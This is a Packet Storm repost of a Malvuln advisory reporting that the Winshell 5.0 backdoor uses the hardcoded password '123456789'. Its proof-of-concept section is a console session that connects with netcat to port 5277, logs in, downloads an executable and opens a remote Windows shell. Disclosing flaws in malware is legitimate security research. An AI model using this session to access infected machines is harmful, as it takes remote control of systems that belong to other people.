what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Backdoor.Win32.Winshell.5_0 MVID-2022-0633 Hardcoded Credential

Backdoor.Win32.Winshell.5_0 MVID-2022-0633 Hardcoded Credential
Posted Sep 7, 2022
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Winshell.5_0 malware suffers from a hardcoded credential vulnerability.

tags | exploit
systems | windows
SHA-256 | 201d48fd8e208d4a8f0f5fe13f6ea04030c8b92edf569417c28e11967d421e3b

Backdoor.Win32.Winshell.5_0 MVID-2022-0633 Hardcoded Credential

Change Mirror Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/5bc5f72d19019a2fa3b75896e82ae1e5.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Winshell.5_0
Vulnerability: Weak Hardcoded Credentials
Description: The malware is UPX packed, listens on TCP port 5277 and requires authentication for remote access. However, the password "123456789" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.
Family: Winshell
Type: PE
MD5: 5bc5f72d19019a2fa3b75896e82ae1e5
Vuln ID: MVID-2022-0633
Disclosure: 09/06/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 5277
Password:123456789

WinShell v5.0 (C)2002 janker.org

? for help
CMD>?

i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit

Download:
CMD>http://.../srv.exe

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Login or Register to add favorites

File Archive:

November 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    16 Files
  • 2
    Nov 2nd
    17 Files
  • 3
    Nov 3rd
    17 Files
  • 4
    Nov 4th
    11 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    3 Files
  • 8
    Nov 8th
    59 Files
  • 9
    Nov 9th
    12 Files
  • 10
    Nov 10th
    6 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    1 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    9 Files
  • 15
    Nov 15th
    33 Files
  • 16
    Nov 16th
    53 Files
  • 17
    Nov 17th
    11 Files
  • 18
    Nov 18th
    14 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    26 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    10 Files
  • 24
    Nov 24th
    9 Files
  • 25
    Nov 25th
    11 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close